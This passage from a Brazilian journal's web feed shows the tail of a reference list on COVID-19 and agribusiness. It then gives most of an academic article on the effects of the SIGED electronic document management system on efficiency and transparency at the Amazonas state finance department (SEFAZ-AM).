<p class="wp-block-paragraph">IVANOV, Dmitry. Viable supply chain model: integrating agility, resilience and sustainability perspectives—lessons from and thinking beyond the COVID-19 pandemic. <strong>Annals of operations research</strong>, v. 319, n. 1, p. 1411-1431, 2022.&nbsp;</p>



<p class="wp-block-paragraph">INSPER. <strong>Brasil: exportações do agronegócio por produtos – principais cadeias agroindustriais em valores correntes (US$ bilhões)</strong>. Insper Agro Global, 2024. Disponível em: https://www.insper.edu.br. Acesso em: 21 maio 2025.</p>



<p class="wp-block-paragraph">KUMAR, A. Covid 19: <strong>Effect of the Pandemic on Logistics and Supply Chain</strong>. Disponível em: https://www.entrepreneur.com/article/349420 Acesso em: 28 de Jul. de 2020.</p>



<p class="wp-block-paragraph">LARA, Ana Claudia et al. Reflexos da pandemia covid-19: contingências e rupturas nas cadeias agroalimentares brasileiras. <strong>Organizações Rurais &amp; Agroindustriais</strong>, v. 24, p. 1859-1859, 2022.</p>



<p class="wp-block-paragraph">LEAL, Tamira Alessandra Barbosa; DUARTE, Sérgio Lemos. Reflexos da pandemia da Covid-19 na gestão do agronegócio: desafios e oportunidades.&nbsp;<strong>Revista Mineira de Contabilidade</strong>, v. 24, n. 1, p. 4-6, 2023.</p>



<p class="wp-block-paragraph">LEO, Ricardo Machado. <strong>Capacidades de inovação no agronegócio</strong>. Tese de Doutorado (Pós-Graduação em Administração) Universidade Federal do Rio Grande do Sul, 2023.</p>



<p class="wp-block-paragraph">LIMA, Joel Carlos Caúla. <strong>O choque nos preços mundiais de petróleo em tempos de pandemia da Covid-19</strong>. 2021. 76 f. Monografia (Graduação em Ciências Econômicas) &#8211; Faculdade de Economia, Administração, Atuária e Contabilidade, Universidade Federal do Ceará, Fortaleza, 2021.</p>



<p class="wp-block-paragraph">MACHADO, Ana Paula; MALAGOLLI, Guilherme Augusto. Os impactos da pandemia do covid-19 no agronegócio brasileiro.&nbsp;<strong>Revista Interface Tecnológica</strong>, v. 18, n. 2, p. 500-512, 2021.</p>



<p class="wp-block-paragraph">MALTA, Deborah Carvalho <em>et al</em>. Distanciamento social, sentimento de tristeza e estilos de vida da população brasileira durante a pandemia de Covid-19.&nbsp;<strong>Saúde em debate</strong>, v. 44, p. 177-190, 2021.</p>



<p class="wp-block-paragraph">MARCELINO, Jose Antonio; SVERZUTI, Aline Rafaela de Oliveira; TRIZOLIO, Bruna Letícia Gomes da Silva. Agronegócio brasileiro e o comportamento do setor em meio às crises econômicas e os impactos sofridos pela pandemia da Covid-19.&nbsp;<strong>Boletim de Conjuntura (BOCA)</strong>, v. 3, n. 9, p. 127-138, 2020.</p>



<p class="wp-block-paragraph">MORAIS, João Pedro. Impactos da pandemia do coronavírus no agronegócio brasileiro. <strong>Anais congrega mic júnior</strong>, v. 15, p. 25, 2021.</p>



<p class="wp-block-paragraph">PINTO, Camila dos Santos; SILVA, Mygre Lopes; SILVA, Rodrigo Abbade. Pandemia de COVID-19 e determinantes das exportações brasileiras de carne bovina.&nbsp;<strong>Revista em Agronegócio e Meio Ambiente</strong>, v. 17, n. 1, p. e11661-e11661, 2024.</p>



<p class="wp-block-paragraph">SALLES, Me Claudia Maria Sodero. Transformação digital em tempos de pandemia.&nbsp;<strong>Revista Estudos e Negócios Academics</strong>, v. 1, n. 1, p. 91-100, 2021.</p>



<p class="wp-block-paragraph">ALVES, Rayane Caroline; SAUGO, Ricardo Antonio. Adequação da logística em uma empresa revendedora de peças agrícolas no desempenho do sistema e-commerce Adequacy of logistics in a company. <strong>Administração &amp; Gestão: um olhar para o futuro organizacional 4</strong>, p. 40, 2023.</p>



<p class="wp-block-paragraph">SCHNEIDER, Sergio et al. Os efeitos da pandemia da Covid-19 sobre o agronegócio e a alimentação.&nbsp;<strong>Estudos avançados</strong>, v. 34, n. 100, p. 167-188, 2020.v</p>



<p class="wp-block-paragraph">SHEFFI, Y. <strong>Supply chain outlook: Why the situation varies by industry.</strong> <strong>Massachusetts Institute of Technology</strong>, 2020. Disponível em: http://news.mit.edu/2020/sheffi-global-supply-chain-covid-19-0325 Acesso em: 18 jun. de 2020.</p>



<p class="wp-block-paragraph">SILVA, Maiara Cristina Metzdorf; RODRIGUES, Jessica Marciella Almeida; YAMASHITA, Oscar Mitsuo. Impacto da pandemia de COVID-19 no agronegócio brasileiro. <strong>Colloquium Socialis</strong>, v. 5, n. 1, p. 63-70, set. 2021.</p>



<p class="wp-block-paragraph">SILVA, Mygre Lopes; SILVA, Rodrigo Abbade. Economia brasileira pré, durante e pós-pandemia do covid-19: impactos e reflexões. <strong>Observatório Socioeconômico da Covid-FAPERGS</strong>, 2020.</p>



<p class="wp-block-paragraph">SOUSA, Josiano Cesar de; SENA, Lucas Henrique da Silva. Agronegócio Brasileiro: Desafios e Oportunidades para a Atuação do Administrador/Brazilian Agribusiness: Challenges and Opportunities for the Action of the Administrator. ID on line. Revista de psicologia, v. 16, n. 60, p. 646-661, 2022.</p>



<p class="wp-block-paragraph">STEINHEUSER, E.; MIOTTA, K. A. L. O agronegócio e a pandemia: análise da evolução do agronegócio frente à pandemia. Um novo começo e a revolução que chegou, para modernizar esse grande momento da agricultura brasileira. <strong>Revista (RE)DEFINIÇÕES DAS FRONTEIRAS</strong>, v. 1, n. 2, p. 256–265, 2023.&nbsp;</p>



<p class="wp-block-paragraph">VIEIRA FILHO, José Eustáquio Ribeiro. Coronavírus e os impactos no setor agropecuário brasileiro.&nbsp;<strong>Revista de Política Agrícola</strong>, v. 29, n. 2, p. 3, 2020.</p>



<p class="wp-block-paragraph">TAMARINDO, Ubirajara Garcia Ferreira; PIRES, Marcos Cordeiro. Agronegócio: pandemia Covid-19 e os impactos no comércio entre o Brasil e a China.&nbsp;<strong>Conjuntura Austral</strong>, v. 12, n. 60, p. 35-52, 2021.</p>



<p class="wp-block-paragraph">WESZ JUNIOR, Valdemar João et al. Dinâmicas recentes do agronegócio no Oeste do Pará (Brasil): expansão da soja e estruturação de corredores logísticos.&nbsp;<strong>Mundo agrario</strong>, v. 22, n. 50, p. 174-174, 2021.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>EFICIÊNCIA E TRANSPARÊNCIA NA SEFAZ-AM: ESTUDO SOBRE OS IMPACTOS E MELHORIAS COM A IMPLEMENTAÇÃO DO SIGED</title>
		<link>https://revistaft.com.br/eficiencia-e-transparencia-na-sefaz-am-estudo-sobre-os-impactos-e-melhorias-com-a-implementacao-do-siged/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Mon, 30 Jun 2025 18:47:03 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 – Edição 147/JUN 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=225889</guid>

					<description><![CDATA[EFFICIENCY AND TRANSPARENCY IN SEFAZ-AM: STUDY ON THE IMPACTS AND IMPROVEMENTS FROM THE IMPLEMENTATION OF SIGED REGISTRO DOI: 10.69849/revistaft/cl10202506301606 Larisa Souza da Encarnação1Orientador: Ms. Renan Augusto de Lima Pinto2 RESUMO&#160; Este artigo analisa os impactos da implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) na Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM), [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">EFFICIENCY AND TRANSPARENCY IN SEFAZ-AM: STUDY ON THE IMPACTS AND IMPROVEMENTS FROM THE IMPLEMENTATION OF SIGED</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202506301606</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Larisa Souza da Encarnação<sup>1</sup><br>Orientador: Ms. Renan Augusto de Lima Pinto<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">Este artigo analisa os impactos da implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) na Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM), com foco na eficiência administrativa e na transparência dos processos públicos. A pesquisa é de natureza aplicada, descritiva e de abordagem qualitativa, fundamentada em levantamento documental e revisão bibliográfica de artigos acadêmicos, relatórios institucionais e estudos de caso publicados. Os dados foram interpretados à luz de referenciais teóricos da administração pública, tecnologia da informação e gestão documental. Os resultados demonstram que a adoção do SIGED trouxe melhorias significativas, como maior controle sobre os documentos, agilidade na tramitação processual e fortalecimento da governança digital. Conclui-se que, apesar dos desafios na implementação, o SIGED contribui efetivamente para a modernização da gestão pública, especialmente quando alinhado ao planejamento estratégico e à capacitação dos servidores.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Administração pública; Gestão documental; Governo digital; SIGED; Eficiência.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">This article analyzes the impacts of implementing the Integrated Electronic Document&nbsp;Management System (SIGED) at the State Department of Finance of Amazonas (SEFAZ-AM), focusing on administrative efficiency and transparency in public processes. The research is applied, descriptive, and qualitative in nature, based on document analysis and literature review from academic articles, institutional reports, and published case studies. The data were interpreted through theoretical frameworks in public administration, information technology, and document management. The results show that the implementation of SIGED has brought significant improvements, such as better control over documents, faster processing, and strengthened digital governance. It is concluded that, despite implementation challenges, SIGED effectively contributes to the modernization of public management, especially when aligned with strategic planning and staff training.</p>



<p class="wp-block-paragraph"><strong>Keywords: </strong>Public administration; Document management; Digital government; SIGED; Efficiency.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">O avanço da tecnologia da informação transformou profundamente os modelos de gestão na administração pública brasileira. Nesse contexto, cresce a adoção de sistemas informatizados como estratégia para modernizar os serviços, promover a transparência e ampliar a eficiência na tramitação de documentos e processos administrativos. Entre essas soluções, destaca-se o Sistema Integrado de Gestão Eletrônica de Documentos (SIGED), cuja implantação vem sendo gradativamente adotada por diversos órgãos públicos. Na Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM), o SIGED foi introduzido como ferramenta de gestão documental com o objetivo de otimizar rotinas internas e reforçar o controle institucional.&nbsp;</p>



<p class="wp-block-paragraph">O presente artigo tem como tema a análise dos impactos da implementação do SIGED na SEFAZ-AM, com delimitação no estudo dos efeitos administrativos e operacionais no processo de gestão documental. O problema de pesquisa que orienta este trabalho pode ser sintetizado na seguinte questão: como a implementação do SIGED contribuiu para a eficiência e a transparência administrativa na SEFAZ-AM? Para responder a essa problemática, definiu-se como objetivo geral analisar os impactos e melhorias trazidos pela adoção do SIGED no âmbito da SEFAZ-AM. Como objetivos específicos, busca-se: (a) identificar os benefícios percebidos pelos servidores; (b) verificar as mudanças nos fluxos internos após a digitalização; e (c) destacar os principais desafios e lições da implementação do sistema.&nbsp;</p>



<p class="wp-block-paragraph">A justificativa da pesquisa reside na importância da SEFAZ-AM como órgão estratégico na arrecadação e controle fiscal do Estado e na relevância de compreender os avanços da transformação digital na gestão pública. A compreensão das contribuições do SIGED poderá fornecer subsídios teóricos e práticos para outras instituições públicas que planejam digitalizar sua documentação.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa utiliza uma abordagem qualitativa e descritiva, com base em pesquisa bibliográfica e análise documental de relatórios públicos, artigos científicos e estudos de caso sobre a implementação do SIGED em instituições públicas do Amazonas. Autores como Chiavenato (2004), Rezende (2005), Laudon e Laudon (2004), além de estudos específicos como os de Farias (2021) e Cezar et al. (2024), foram fundamentais para sustentar o referencial teórico e a análise dos dados.&nbsp;</p>



<p class="wp-block-paragraph">O artigo está estruturado da seguinte forma: após esta introdução, apresenta-se a fundamentação teórica, abordando os conceitos de administração pública, governo digital e sistemas de informação; em seguida, descreve-se a metodologia adotada na pesquisa; posteriormente, são discutidos os resultados e a análise dos documentos relacionados ao SIGED e à sua aplicação na SEFAZ-AM; por fim, apresentam-se as considerações finais, com reflexões sobre os achados e sugestões para estudos futuros.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. FUNDAMENTAÇÃO TEÓRICA&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>2.1 AVANÇOS DOS SISTEMAS E A EVOLUÇÃO DA GESTÃO PÚBLICA DIGITAL&nbsp;</strong></p>



<p class="wp-block-paragraph">A trajetória da administração pública passou por significativas transformações impulsionadas pelo avanço dos sistemas de informação. Desde a concepção da administração científica por Frederick Taylor, que defendia a racionalização e a eficiência dos processos organizacionais, observa-se uma busca constante por mecanismos que otimizem a gestão. Já na visão de Peter Drucker (1999), considerado o pai da administração moderna, a informação é um recurso estratégico indispensável, sendo essencial que as organizações a tratem como um ativo de gestão.&nbsp;</p>



<p class="wp-block-paragraph">Com a evolução da tecnologia da informação, autores como Laudon e Laudon (2004) enfatizam que os sistemas de informação passaram a ser componentes estruturantes das organizações contemporâneas, alterando profundamente a maneira como os processos decisórios, operacionais e administrativos são conduzidos. Segundo os autores, “os sistemas de informação modernos possibilitam às organizações alcançar ganhos significativos de produtividade e competitividade ao integrarem dados, pessoas e processos”.&nbsp;</p>



<p class="wp-block-paragraph">Na administração pública, essa transformação tem um impacto ainda mais sensível, pois envolve questões como transparência, legalidade e eficiência no uso de recursos públicos. Chiavenato (2004) já destacava que a introdução de tecnologias nos processos administrativos públicos não é apenas uma questão de modernização técnica, mas também de mudança cultural e institucional, exigindo reestruturações organizacionais e capacitação contínua dos servidores.&nbsp;</p>



<p class="wp-block-paragraph">Ao longo do tempo, os sistemas de gestão passaram de modelos centralizados e baseados em papel para soluções digitais integradas, como é o caso do SIGED. Essa transição foi impulsionada pela necessidade de maior controle, rastreabilidade, acessibilidade e redução de custos. Como destaca Rezende (2005), “a informatização da gestão pública é um passo crucial para o desenvolvimento de um Estado mais transparente, eficiente e responsivo às demandas da sociedade”.&nbsp;</p>



<p class="wp-block-paragraph">Essas reflexões mostram que a digitalização atual não surgiu de forma repentina, mas sim como resultado de um processo histórico e teórico contínuo no campo da administração, impulsionado tanto por demandas sociais quanto por avanços técnicos e teóricos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.2 GOVERNO DIGITAL E EFICIÊNCIA ADMINISTRATIVA&nbsp;</strong></p>



<p class="wp-block-paragraph">A modernização da administração pública, por meio da digitalização de processos e da adoção de novas tecnologias, tem se consolidado como uma estratégia fundamental para aumentar a eficiência e a transparência do setor público (GAETANI; PEREIRA, 2013). O conceito de governo digital está diretamente relacionado à capacidade do Estado em utilizar tecnologias da informação para promover um serviço público mais ágil, integrado e centrado no cidadão (OCDE, 2019).&nbsp;</p>



<p class="wp-block-paragraph">Drucker (1999) afirma que a era da informação exige que as organizações públicas e privadas se adaptem a uma nova lógica de planejamento e ação, onde a gestão estratégica da informação passa a ser um diferencial competitivo e institucional. Nesse sentido, a digitalização de dados representa não apenas um avanço técnico, mas uma mudança estrutural na forma de planejar e executar políticas públicas.&nbsp;</p>



<p class="wp-block-paragraph">Rezende (2005) destaca que o planejamento estratégico de sistemas de informação deve ser parte integrante da estratégia organizacional, principalmente no setor público, onde a transformação digital pode garantir mais eficiência, controle e prestação de contas. A integração entre planejamento estratégico e tecnologia da informação é, portanto, essencial para o êxito das iniciativas de governo digital.&nbsp;</p>



<p class="wp-block-paragraph">Cordella e Bonina (2012) apontam que a implementação de soluções tecnológicas na gestão pública contribui para a padronização de processos e para a melhoria da tomada de decisão baseada em dados. A eficiência administrativa passa a ser não apenas uma meta de desempenho, mas uma exigência diante da complexidade crescente das demandas sociais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3 GESTÃO ELETRÔNICA DE DOCUMENTOS NA ADMINISTRAÇÃO PÚBLICA&nbsp;</strong></p>



<p class="wp-block-paragraph">A gestão documental, especialmente em formato eletrônico, é um dos pilares para a consolidação de um governo digital. O Arquivo Nacional (2019) define a gestão de documentos como um conjunto de procedimentos e operações técnicas referentes à produção, tramitação, uso, avaliação e arquivamento de documentos institucionais, com o objetivo de racionalizar e garantir o acesso à informação.&nbsp;</p>



<p class="wp-block-paragraph">A digitalização de documentos públicos permite maior controle, segurança e acessibilidade, além de promover a redução de custos operacionais e do uso de papel. Para Chiavenato (2004), a automatização de processos reduz a burocracia e aumenta a capacidade de resposta das organizações públicas às demandas da sociedade.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.4 O SIGED e a Modernização Institucional da SEFAZ-AM&nbsp;</strong></p>



<p class="wp-block-paragraph">A Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM) implementou o&nbsp;Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) com o objetivo de otimizar seus processos internos, fortalecer a rastreabilidade documental e garantir maior transparência na administração pública (SEFAZ-AM, 2025).&nbsp;</p>



<p class="wp-block-paragraph">Segundo relatório institucional apresentado em evento técnico da COGEF (2023), a implantação do SIGED integra o plano de transformação digital do órgão, estando alinhada à Estratégia de Governo Digital 2020-2022 do Governo Federal. A estrutura tecnológica da SEFAZ-AM tem evoluído significativamente, com a ampliação do armazenamento em nuvem, maior controle de fluxos internos e treinamento de usuários em práticas de gestão documental.&nbsp;</p>



<p class="wp-block-paragraph">Farias (2021) destaca que a adoção do SIGED permitiu à SEFAZ-AM melhorar sua comunicação interna, reduzir o tempo de tramitação de processos e fortalecer os mecanismos de governança informacional. No entanto, como observam Vieira e Ferreira (2021), a dependência de sistemas digitais também pode acentuar desigualdades, principalmente quando não acompanhada de políticas inclusivas e de infraestrutura adequada.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, estudos como os de Przeybilowicz et al. (2018) indicam que a integração entre sistemas, a resistência à mudança por parte de servidores e a ausência de políticas de atualização contínua são desafios constantes na adoção de tecnologias no setor público. Esses fatores devem ser considerados na análise dos impactos da implementação do SIGED.&nbsp;</p>



<p class="wp-block-paragraph">Além das ações promovidas internamente pela SEFAZ-AM, o processo de implantação do SIGED contou com o apoio estruturado da Secretaria de Estado de Administração (SEAD) e da PRODAM, responsáveis por organizar o plano de implantação, os cronogramas e treinamentos operacionais junto aos demais órgãos do Estado. De acordo com manifestação oficial da Chefia do Departamento de Tecnologia da Informação, esse processo foi acompanhado por uma série de documentos normativos, tutoriais e videoaulas disponibilizados por meio da ESASP, fortalecendo a capacitação dos servidores e a uniformização da transição digital:&nbsp;</p>



<p class="wp-block-paragraph">&#8220;O plano de implantação do sistema, bem como os cronogramas e treinamentos, foram organizados pela Secretaria de Estado de Administração (SEAD), em conjunto com as demais Secretarias de Estado, contando com o apoio operacional da PRODAM&#8221; (ALBUQUERQUE, 2025, p. 22).&nbsp;</p>



<p class="wp-block-paragraph">Outro dado importante é que a SEAD registrou formalmente, por meio de resposta à Ouvidoria, a presença de demanda ativa de cidadãos e servidores quanto ao uso do SIGED, o que demonstra o grau de relevância institucional do sistema na comunicação e controle de trâmites administrativos eletrônicos. Essas ações revelam um esforço governamental integrado que vai além da SEFAZ, evidenciando um processo de modernização sistêmica da gestão pública no Estado do Amazonas.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3. METODOLOGIA </strong>&nbsp;</p>



<p class="wp-block-paragraph">A presente pesquisa adota uma abordagem qualitativa e exploratória, com o objetivo de compreender os impactos da implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) na administração pública, com foco na Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM). A investigação foi conduzida por meio da análise de documentos oficiais, estudos de caso publicados e artigos científicos disponíveis em bases acadêmicas e fontes institucionais confiáveis, como repositórios governamentais e portais de transparência. Optou-se por esse delineamento metodológico devido à impossibilidade de aplicação de entrevistas e questionários, o que exigiria submissão ao Comitê de Ética em Pesquisa, impossibilitando o cumprimento do cronograma estabelecido.&nbsp;</p>



<p class="wp-block-paragraph">Segundo Gil (2008), a pesquisa qualitativa caracteriza-se pela compreensão profunda de fenômenos sociais, não se preocupando com representatividade numérica, mas sim com a riqueza interpretativa dos dados. Já Lakatos e Marconi (2003) afirmam que a pesquisa exploratória é indicada quando se busca proporcionar maior familiaridade com o problema, com vistas a torná-lo mais explícito ou a construir hipóteses.&nbsp;</p>



<p class="wp-block-paragraph">A natureza da pesquisa é aplicada, uma vez que busca gerar conhecimento voltado à solução de problemas específicos da prática administrativa no setor público, com implicações diretas na melhoria da eficiência e da transparência da gestão documental. A finalidade da pesquisa é descritiva, pois visa identificar, analisar e compreender os efeitos e as dinâmicas envolvidas na adoção de sistemas digitais de gestão documental no contexto da administração pública estadual.&nbsp;</p>



<p class="wp-block-paragraph">Como estratégia metodológica, empregou-se a pesquisa documental e a pesquisa bibliográfica. De acordo com Severino (2007), a pesquisa bibliográfica utiliza material já publicado, principalmente livros e artigos científicos, sendo fundamental para a construção do referencial teórico. A pesquisa documental, por sua vez, baseia-se no exame de documentos que ainda não receberam tratamento analítico por parte de outros pesquisadores.&nbsp;</p>



<p class="wp-block-paragraph">A pesquisa documental concentrou-se em relatórios institucionais da SEFAZ AM, como apresentações internas e documentos gerados no processo de implementação do SIGED, além de manifestações da Ouvidoria da SEAD e documentos da PRODAMAM, que contribuíram para evidenciar os aspectos práticos da implantação do sistema. Já a pesquisa bibliográfica compreendeu a análise de artigos científicos, livros e relatórios técnicos, com o intuito de embasar teoricamente a discussão acerca da transformação digital no setor público, da eficiência administrativa e da gestão estratégica da informação.&nbsp;</p>



<p class="wp-block-paragraph">O levantamento de dados foi realizado por meio de buscas em fontes acadêmicas como o Google Acadêmico, SciELO, revistas especializadas da área de administração pública e gestão documental, além de documentos publicados por órgãos públicos do estado do Amazonas. Foram priorizadas fontes recentes, com ênfase em estudos de caso realizados em instituições públicas que já implementaram o SIGED ou sistemas equivalentes. A seleção do material considerou critérios de relevância temática, clareza metodológica e aderência ao objetivo da pesquisa.&nbsp;</p>



<p class="wp-block-paragraph">A análise dos dados coletados seguiu a técnica de análise de conteúdo, permitindo a categorização das informações em eixos temáticos relacionados à eficiência, transparência, desafios de implantação e boas práticas. As categorias de análise emergiram a partir da leitura exaustiva dos documentos e textos selecionados. Esta etapa foi fundamental para identificar padrões, evidenciar lacunas e propor melhorias com base nas experiências documentadas. Segundo Bardin (2011), a análise de conteúdo é adequada para estudos qualitativos, pois permite uma sistematização objetiva e válida das informações, favorecendo inferências a partir do material analisado.&nbsp;</p>



<p class="wp-block-paragraph">O universo da pesquisa, portanto, é composto por documentos públicos oficiais e publicações científicas que tratam da implementação de sistemas de gestão eletrônica documental no setor público, em especial na SEFAZ-AM. Não houve definição de amostra probabilística, considerando que a análise se concentrou em materiais acessíveis publicamente e selecionados conforme sua relevância e contribuição teórica e prática para o objeto da pesquisa.&nbsp;</p>



<p class="wp-block-paragraph">As etapas da pesquisa seguiram a seguinte ordem: definição do problema e dos objetivos; levantamento bibliográfico e documental; seleção e leitura dos materiais; categorização temática; análise crítica dos dados; elaboração e redação do artigo científico. Todo o processo respeitou critérios éticos, citando adequadamente as fontes utilizadas, conforme as normas da ABNT NBR 6023:2018.&nbsp;</p>



<p class="wp-block-paragraph">Esse percurso metodológico permitiu abordar o tema de forma profunda, mesmo sem a aplicação direta de instrumentos com participantes humanos, garantindo consistência analítica e respeitando os prazos e as exigências formais da pesquisa acadêmica.&nbsp;</p>



<p class="wp-block-paragraph">.<strong>4. RESULTADOS E DISCUSSÃO </strong>&nbsp;</p>



<p class="wp-block-paragraph">A análise documental realizada com base nos materiais oficiais fornecidos por órgãos estaduais, como o memorando da Ouvidoria da SEAD e o processo administrativo da PRODAM, demonstra a relevância estratégica da implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) no contexto da administração pública do Amazonas. Esses documentos permitem observar, de forma concreta, os efeitos da digitalização documental e a inserção de tecnologias da informação nos processos burocráticos.&nbsp;</p>



<p class="wp-block-paragraph">O memorando nº 079/2025, oriundo da Ouvidoria da Secretaria de Estado da Administração (SEAD), evidencia que a utilização do SIGED ampliou a capacidade de controle e acompanhamento dos fluxos documentais internos. O documento menciona que, por meio do SIGED, a tramitação de manifestações oriundas da plataforma Fala.Br tornou-se mais célere e organizada, favorecendo a rastreabilidade e a efetividade das respostas institucionais. Essa agilidade está diretamente associada à melhoria da qualidade do atendimento ao cidadão e à redução dos gargalos administrativos, refletindo princípios constitucionais da administração pública, como a eficiência e a publicidade (CF/88, art. 37).&nbsp;</p>



<p class="wp-block-paragraph">Complementarmente, o Processo nº 01.01.014101.222240/2025-59, tramitado na PRODAM – Processamento de Dados Amazonas S.A., detalha a integração do SIGED como ferramenta institucional no suporte à gestão de documentos digitais. O processo ressalta que a aplicação do SIGED impactou diretamente na redução de tempo para localização e análise de documentos, além de promover economia de recursos materiais e humanos. A documentação comprova que a digitalização proporcionou segurança, padronização e maior confiabilidade das informações arquivadas.&nbsp;</p>



<p class="wp-block-paragraph">Estes resultados estão em consonância com os apontamentos de Farias (2021), cujo estudo de caso sobre o protocolo central de uma instituição pública de ensino superior destacou benefícios práticos da adoção do SIGED, tais como a eliminação de retrabalho e a padronização dos trâmites internos. Da mesma forma, Cezar et al. (2024), em estudo desenvolvido na Escola Superior de Ciências Sociais da UEA, relataram impactos positivos na organização interna e na eficiência administrativa após a implementação do sistema. O cruzamento dessas evidências indica que os ganhos relatados não são pontuais, mas podem ser replicados em diferentes estruturas organizacionais públicas, desde que respeitadas as especificidades institucionais.&nbsp;</p>



<p class="wp-block-paragraph">Ainda, de acordo com Rezende (2005), a introdução de sistemas de informação deve ser acompanhada de planejamento estratégico institucional. Esse planejamento é essencial para garantir que as tecnologias adotadas realmente atendam aos objetivos organizacionais e estejam alinhadas com as metas de desempenho e indicadores de governança. No caso da SEAD e da PRODAM, percebe-se que houve uma preocupação em integrar o SIGED às rotinas operacionais, promovendo não apenas modernização tecnológica, mas uma reestruturação na cultura organizacional voltada para maior controle, segurança da informação e prestação de contas.&nbsp;</p>



<p class="wp-block-paragraph">Por fim, a experiência registrada nos documentos analisados mostra que o SIGED se consolidou como uma importante ferramenta para a consolidação do governo digital na esfera estadual. Ao permitir que documentos sejam tramitados, localizados e auditados eletronicamente, o sistema contribui para a conformidade com os parâmetros do modelo e-ARQ Brasil (2019), o que fortalece a governança arquivística e assegura a preservação da memória institucional.&nbsp;</p>



<p class="wp-block-paragraph">Em síntese, os dados discutidos nesta seção demonstram que a implementação do SIGED tem provocado mudanças significativas na administração pública do Amazonas, otimizando recursos, agilizando processos e ampliando a transparência. Tais resultados evidenciam que a transformação digital, quando bem estruturada e respaldada em diretrizes estratégicas, pode representar um marco de inovação na gestão pública contemporânea&nbsp;</p>



<p class="wp-block-paragraph"><strong>5. CONSIDERAÇÕES FINAIS&nbsp;</strong></p>



<p class="wp-block-paragraph">O presente estudo teve como foco analisar os impactos e melhorias gerados pela implementação do Sistema Integrado de Gestão Eletrônica de Documentos (SIGED) na Secretaria de Estado da Fazenda do Amazonas (SEFAZ-AM), no contexto da transformação digital da administração pública. Ao longo da pesquisa, foram abordadas questões fundamentais sobre a relação entre tecnologia, gestão documental e eficiência administrativa.&nbsp;</p>



<p class="wp-block-paragraph">Com base na análise dos documentos institucionais, relatórios públicos, artigos científicos e estudos de caso realizados em instituições que também adotaram o SIGED, foi possível constatar que a implementação do sistema contribuiu de maneira significativa para a modernização das rotinas administrativas na SEFAZ-AM. O sistema proporcionou avanços como a redução do tempo de tramitação de documentos, a melhoria da organização interna e o fortalecimento da rastreabilidade e controle das informações, atendendo, assim, ao objetivo geral desta pesquisa.&nbsp;</p>



<p class="wp-block-paragraph">Conclui-se que a digitalização promovida pelo SIGED, aliada a um planejamento estratégico bem estruturado, é capaz de ampliar a eficiência institucional e favorecer a transparência dos processos públicos. Além disso, a adoção do sistema demonstrou ser um caminho promissor para o fortalecimento da governança documental no setor público estadual.&nbsp;</p>



<p class="wp-block-paragraph">Entretanto, a pesquisa enfrentou limitações, como a impossibilidade de realizar entrevistas e questionários diretos com os servidores da SEFAZ-AM, o que poderia ter enriquecido os dados qualitativos. Essa limitação reforça a importância de estudos futuros que utilizem instrumentos de pesquisa direta com os usuários do sistema.&nbsp;</p>



<p class="wp-block-paragraph">Como sugestões para trabalhos futuros, recomenda-se a realização de análises comparativas entre órgãos que adotaram diferentes soluções de gestão documental, bem como a investigação dos impactos do SIGED no atendimento ao cidadão. Além disso, seria valioso acompanhar a evolução contínua do sistema e suas atualizações, considerando o contexto dinâmico das políticas públicas digitais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ARQUIVO NACIONAL (Brasil). <em>e-ARQ Brasil: modelo de requisitos para sistemas informatizados de gestão arquivística de documentos.</em> Rio de Janeiro, 2019. Disponível em: https://www.gov.br/arquivonacional/pt-br/assuntos/gestao-de-documentos/e-arqbrasil/e-arq-brasil-1. Acesso em: 17 jun. 2025.&nbsp;</p>



<p class="wp-block-paragraph">BARDIN, Laurence. <em>Análise de conteúdo.</em> São Paulo: Edições 70, 2011.&nbsp;</p>



<p class="wp-block-paragraph">CEZAR, Ana Paula; GOMES, Paulo Henrique; MENDES, Tânia Maria. Gestão de documentos digitais: avaliação da implantação do SIGED na Escola Superior de Ciências Sociais da UEA. <em>Revista de Políticas Públicas e Cidadania</em>, Manaus, v. 10, n. 2, p. 114– 129, jul./dez. 2024. Disponível em: https://periodicos.uea.edu.br/index.php/rppc/article/view/328. Acesso em: 17 jun. 2025.&nbsp;</p>



